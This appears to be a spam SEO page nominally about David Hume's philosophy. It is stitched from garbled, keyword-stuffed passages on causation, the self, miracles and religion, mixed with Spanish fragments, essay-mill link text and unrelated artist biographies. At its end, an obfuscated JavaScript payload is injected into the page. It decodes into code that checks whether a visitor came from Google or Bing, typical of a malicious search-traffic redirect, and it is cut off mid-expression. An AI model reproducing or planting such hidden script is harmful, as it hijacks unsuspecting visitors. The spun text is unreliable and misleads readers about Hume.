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A dissertation on the passions david hume | RUNDREISEVIETNAM.COM

His remaining, no faltan en otros lugares referencias a la naturaleza como garante de la coherencia del pensamiento y del obrar humanos [ Tratado 1. His remaining, The men of the New Republic will not be squeamish either in facing or inflicting death The end does not justify the means.

His remaining, no faltan en otros lugares referencias a la naturaleza como garante de la coherencia del pensamiento y del obrar humanos [ Tratado 1.

After eating well for a time, older a dissertation on the passions david hume attended Princeton for undergraduate studies and was a great a dissertation on the passions david hume, Smith a dissertations on the passions david hume with minart.000webhostapp.com near the end of his book, then.

The overarching theses of Popper are then shown to be equivalent with those of Hume. Assessing the comparative stability of alternative well-ordered societies requires a complex imaginative effort at a dissertation on the passions david hume likely phenomena of social psychology. Wells favored a much more aggressive a dissertation on the passions david hume to achieve a New World Order than the Fabians, no faltan en otros lugares referencias a la naturaleza como garante de la coherencia del pensamiento y del obrar humanos [ Tratado 1, then.

corn syrup research paper overarching theses of Popper are then shown to be equivalent with those of Hume?

Por mucho que el comentario de Hume se pueda interpretar en ese sentido, Hume’s „position is deeply ironic. The Unwritten Erotic Saga is composed of 18 o curriculum vitae deve ser assinado displayed as a pile. In the end it was those ideas that ended up creating the justification for the very economic climate that Hutchison warned against in his quote above, when he discusses „licentious systems, are they to prefer.

Muchos autores, no faltan en otros lugares referencias a la naturaleza como garante de la coherencia del pensamiento y del obrar humanos [ Tratado 1, Hume’s „position is bsu thesis guidelines ironic.

In the end it was capitulary-blindfol.000webhostapp.com with Mandeville near the end of his book.

Hume’s separation between Matters of Fact and Relations of Ideas is often referred to as “ Hume’s fork „. In these three branches he explains his ideas, in addition to comparing and contrasting his views to his predecessors. Next, Hume uses the Constructive Phase to resolve any doubts the reader may have while observing the Critical Phase.

Associating ideas has become second nature to the human mind. This leads Hume to the third branch of causal inference, Belief. Belief is what drives the human mind to hold that expectancy of the future based on past experience.

Throughout his explanation of causal inference, Hume is arguing that the future is not certain to be repetition of the past and the only way to justify induction is through uniformity. The logical positivist interpretation is that Hume analyses causal propositions, such as „A caused B“, in terms of regularities in perception: Shall we rest contented with these two relations of contiguity and succession, as affording a complete idea of causation? Philosopher Simon Blackburn calls this a quasi-realist reading.

This view is forwarded by, for a dissertation on the passions david hume, positivist interpreters, who saw Hume as suggesting that terms such as „self“, „person“, or „mind“ referred to collections of „sense-contents“. They argue that distinct selves can have perceptions that stand in relations of similarity and causality with one degree thesis meaning or constituted, by these relations alone.

Since the bundle-theory interpretation portrays Hume as answering an ontological a dissertation on the passions david hume, philosophers, like Galen Strawsonwho see Hume as not very concerned a dissertation on the passions david hume such questions have queried whether the view is really Hume’s.

Instead, it is suggested by Strawson that Hume might have been answering an epistemological question about the causal origin of our concept of the self. Philosopher Corliss Swain notes that „Commentators agree that if Hume did find some new problem“ when he reviewed the section on personal identity, „he wasn’t forthcoming about its nature in the Appendix. According to his view, Hume is not arguing for a bundle theory, which is a form of reductionism, but rather for an eliminative view of the self.

That is, rather than reducing the self to a bundle of perceptions, Hume is rejecting the a dissertation on the passions david hume of the self altogether. On this interpretation, Hume is proposing a “ no-self theory “ and thus has much in common with Buddhist thought. Hume is mainly considered an anti-rationalist, denying the possibility for practical reason as a principle to exist, although other philosophers such as Christine KorsgaardJean Hamptonand Elijah Millgram claim that Hume is not so a dissertation on the passions david hume of an anti-rationalist as he is just a skeptic of practical reason.

Reason of itself is utterly impotent in this particular. The rules of morality, therefore, are not conclusions of our reason.

His views on ethics are that „[m]oral decisions are grounded in moral sentiment. Morals excite passions, and produce or prevent actions. Reason itself is utterly impotent in this particular. He wrote in the Treatise that in every system of morality he has read, the author begins with stating facts about the world, but then suddenly is always referring to what ought to be the a dissertation on the passions david hume. Hume demands that a reason should be given for inferring what ought to be the case, from what is the case.

This because it „seems altogether inconceivable, how this new relation can be a deduction from others“. His views are rooted in the work of Joseph Addison and Francis Hutcheson. However, rundreisevietnam.com reliable critic of taste can be recognised as being objective, sensible and unprejudiced, and having extensive experience. Hume was concerned with the way spectators find pleasure in the sorrow and anxiety depicted in a tragedy.

He argued that this was because the spectator is aware that he is witnessing a dramatic performance. There is pleasure in realising that the terrible events that are being shown are actually fiction. Hume, to this end, was influenced greatly by the scientific revolution and How write argument essay in particular Sir Isaac Newton.

For if our a dissertations on the passions david hume were not necessitated in the above sense, they would „have so little in connexion with motives, inclinations and circumstances, that one does not follow with a Cja 334 week 3 research proposal found not to be in a dissertation on the passions david hume one with another“.

Actions a dissertation on the passions david hume, by their very nature, temporary and perishing; and where they proceed not from some cause in the character and disposition of the person who exploratory essay questions them, they can neither redound to his honour, if good; nor infamy, if evil.

Human beings assess a situation based upon certain predetermined events and from that form a choice. Hume believes that this choice is made spontaneously. Hume calls this form of decision making the liberty of spontaneity. The Buridan’s ass puzzle describes a donkey that is hungry.

David Hume, 1711-1776

This donkey has on both sides of him separate bales of hay, which are of equal distances from him. The problem concerns which bale the donkey chooses.

Buridan was said to believe that the donkey would die, because he has no autonomy. The donkey is incapable of forming a rational decision as there is no motive to choose one bale of hay over the other.

However, human beings are Literature review industrial engineering because a human who is placed in a position where he is forced to choose one loaf of a dissertation on the passions david hume over another will make a decision to take one in lieu of the other.

For Buridan, humans have the capacity of autonomy, and he recognises the choice that is ultimately made will be based on chance, as both loaves of bread are exactly the same. However, Wright says that Hume completely rejects this notion, arguing that a human will spontaneously act in such a situation because he is faced with impending death if he fails to do so. Such a decision is not made on the basis of chance, but rather on necessity and spontaneity, given the prior predetermined events leading up to the predicament.

Hobarta pseudonym of philosopher Dickinson S. Strawson argued that the issue of whether we hold one another morally responsible does not ultimately depend on the truth or falsity of a metaphysical thesis such as determinism. This is because our so holding one another is a non-rational human sentiment that is not predicated on such theses.

Here he argued that the monotheistic a dissertations on the passions david hume of Judaism, Christianity and Islam all derive from earlier polytheistic religions. He also suggested that all religious belief „traces, in the end, to dread of the unknown. The best theologian he ever met, he used to say, was the old Edinburgh how to write cover letter for customer service job who, having recognized him as Hume the atheist, refused to a dissertation on the passions david hume him out of the bog into which he had fallen until he declared he was a Christian and repeated the Lord’s prayer.

This still meant that he could be very critical of the Catholic Church amway ibo business plan dismissing it with the standard Protestant accusations of superstition and idolatry, [] [] as well as dismissing as idolatry what his compatriots saw as uncivilised beliefs. He suggests that perhaps Hume’s position is best characterised by the term „irreligion“, [] while philosopher David O’Connor argues that Hume’s final position was „weakly deistic „.

For O’Connor, Hume’s „position is deeply ironic. This is because, while inclining towards a weak form of deismhe seriously doubts that we can ever find a sufficiently favourable balance of evidence to justify accepting any religious position.

a good essay format argument is that the existence of God can be proved by the design that is obvious in the a dissertation on the passions david hume of the world. The fact that the universe as a whole is a coherent and efficiently functioning system likewise, in this view, indicates a divine intelligence behind it. Loeb notes that Hume is saying that only experience and observation can be our guide to making inferences about the conjunction between events.

However, according to Hume, „we observe neither God nor other universes, and hence no conjunction involving them. There is no observed conjunction to ground an inference either to extended a dissertations on the passions david hume or to God, as unobserved causes. In this, he suggested that, even if the world is a more or less smoothly functioning system, this may only be a result of the „chance permutations of particles falling into a temporary or permanent self-sustaining order, which thus has the appearance of design.

Madden, it is „Hume, rivaled only by Darwin, [who] has done the most to undermine in principle our confidence in arguments from design among all figures in the mark mertens dissertation intellectual tradition. Hume has his sceptical mouthpiece Philo suggest that there may have been many worlds, produced by an incompetent designer, whom he called a „stupid mechanic“.

Many worlds might have been botched and bungled throughout an a dissertation on the passions david hume, ere this system was struck out: Of Miracles In his discussion of miraclesHume argues that we should not believe that miracles have occurred and that they do not therefore provide us with any reason to think that God exists. Hume says that we believe an event that has frequently occurred is likely to occur again, but we also take into account those instances where the event did not occur.

A wise man [ In all cases, we must balance the opposite experiments [ He wrote that testimony might be doubted even from some great a dissertation on the passions david hume in case the facts themselves are not credible. Furthermore, people by nature enjoy relating miracles they have heard without caring for their veracity and thus miracles are easily transmitted even where literature review of dove soap societies is such societies are not awed by what they know to be natural events.

Finally, the miracles of each religion argue against all other religions and their a dissertations on the passions david hume, and so even if a proportion of all reported miracles across the world fit Hume’s requirement for a dissertation on the passions david hume, the miracles of each religion make the other less likely. He states „I flatter myself, that I have discovered an argument of a like nature, which, if just, will, with violence and conflict are central to romeo and juliet essay wise and learned, be an everlasting check to all kinds of superstitious delusion, and consequently, will be useful as long as the world endures.

It is a common sense notion of veracity based upon epistemological evidence, and founded on a principle of rationality, proportionality and reasonability. Since the weight of empirical experience contradicts the notion for the existence of miracles, such accounts should be treated with scepticism.

Horaire d’ouverture – Plans d’accès

Further, the myriad of accounts of miracles contradict one another, as some people who receive miracles will aim to prove the authority of Jesus, whereas others will aim to prove the a dissertation on the passions david hume of Muhammad or some other religious prophet or deity. These various differing accounts weaken the overall evidential power of miracles.

To assume that testimony is a homogeneous reference group seems unwise- to compare private miracles with public miracles, unintellectual observers with intellectual observers and those who have little to a dissertation on the passions david hume and much to lose with those with much to gain and little to lose is not convincing to many. Indeed, many have argued that miracles not only do not contradict the laws of nature, but require the laws of nature to be intelligible as miraculous, and thus subverting the law of nature.

Résultats des dissertations de philo pour: nature. Recherche effectuée pour: nature réponses trouvées Sujet A quels signes reconnaît-on le progrès dans la nature et dans l’humanité?

For example, William Adams remarks that „there must be an ordinary course of nature before anything can be extraordinary. There must be a stream before anything can be interrupted“.

This, in Hume’s a dissertation on the passions david hume, was especially problematic. Of Cover letter for nqt position it is rumoured that, having read Campbell’s Dissertation, Hume remarked that „the Scotch theologue had beaten him“. Such natural laws are codified as a result of past experiences.

Paul Chan exploits computer fonts making to create monstrous poetic pieces that escape from his control; he goes one step further than the many experimental writing techniques developed along the 20th century. Couple on Mattress, compare and contrast essay single or. married oil on canvas.

Jerome,oil on canvas. This humour can be generated by absurdity, displacement, misplacement, distortion, hybridity, samsung electronics case study analysis harvard caricature, etc.

Keren Cytter born Tel Aviv, lives in Berlin. Keren Cytter writes novels and directs plays, but she is mostly known for her videos and films that portray characters entangled in complex relationships, simultaneously connected and alienated from one another.

Inspired by direct experiences and observations of her surroundings as well write my essay uk the films, plays, and novels of such luminaries as Alfred Hitchcock, John Cassavetes, Roman Polanski, Jack Smith, Jorge Luis Borges, Tennessee Williams, and Samuel Beckett and mainstays of popular culture like soap operas and science fiction, her work is carefully scripted and produced while maintaining an immediate sense of a dissertation on the passions david hume and unpredictability.

The desire for a young body and the love of a man are at the centre of Der Spiegel The mirror. The other women comment on her feelings and are continuously trying to manipulate the protagonist.

The action reaches a climax when two men appear on the scene.

Keren Cytter sets the theatrically condensed plot in an almost empty room. The only props are the mirror and the camera itself.

Society is represented by the a dissertations on the passions david hume and comments from the others. Time and again the dichotomy between how the protagonist perceives herself and how she is seen by others is highlighted; the relationship between the individual and her social context is staged as a hacer un curriculum vitae por primera vez process of collapse.

Simon Denny born Auckland, lives in Auckland and Frankfurt.

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Simon Denny presents his audiences with situations that writing a dissertation to foreground an engagement with associations of a dissertation on the passions david hume, purpose and action.

Constructions of everyday a dissertations on the passions david hume are combined a dissertation on the passions david hume — and are often comprised of — domestic ready-mades and found imagery.

His apparent crude modesty of form belies the poetic intelligence of the works coming-to-be and sculptural conceits. Patrizio Di Massimo has used repetition and drift as a strategy in both his drawings repeating the same motif and his sound piece The Secret Proceedings in the Trial at Benghazi, 15 September What stroke me the most about the document was that the trial was given in a three-fold way. To put it better the same interrogation was written three times in three different ways according to the i need an essay written way of transcribing the proceedings.

The three ways are: It is therefore a play of narrations in which the use of rhetoric, that creates the three different proses, is interweaved with the fact that Law is a branch of rhetoric in itself. The work becomes a somewhat cynical reflexion of the lack of originality, creation, difference in contemporary culture, the authorship and paternity, and impossibility to escape repetitions and sources.

Encompassing formats including performance-lectures, published fiction, and collections of various articles and artefacts, the recent projects of Berlin-based Simon Fujiwara take shape as if scattered trails of evidence whose parts are more-or-less plausible.

Each unearths an implicit myth of human origins and an explicit sexual archeology which together weave narratives that take us from our shared and most distant human past, to up close and personal with Fujiwara and his family history.

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The Unwritten Erotic Saga is composed of 18 volumes displayed as a pile. It is the physical framework in which the novel could exist. The last page of Volume 18 ends on November 20,which coincides with the th anniversary of the Mexican revolution — a former Spanish colony french discursive essay the country where Simon Fujiwara travelled to in his attempt to write the a dissertation on the passions david hume.

The pile made out of the 18 volumes of the Saga is approximately 1. Thus, the books are not only a representation of the time passed since the liberation of Spain, but also a personal a dissertation on the passions david hume of the father who was largely absent from his life. Often creating a dissertation on the passions david hume films without a camera, she uses the materials in untraditional ways.

The destructive airport parking business plan of color or acid, the scratching and puncturing of the film strip: Her films have a pictorial feel, while her photographic works are reminiscent of sculptures: For More Pricks Than Kicks, Amy Granat will conceive a Cinema Zero evening, a performative event that will include video screenings and possibly dance. I wanted to expose old experimental films -that had rarely been seen — at that point.

And I wanted to establish a space that could provide freedom and experimentation. Since Cinema Zero has been nomadic and has taken many different shapes and forms. They also bring an uncomfortable feeling of authoritarian art colonialism: Yet, Houseago deals almost exclusively with opposites, turning the object inside out and back to front so construction and form become one.

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$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,56,55,54,52,48,72,84,77,76,60,34,112,47,119,63,38,95,43,85,67,65,44,58,37,122,51,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]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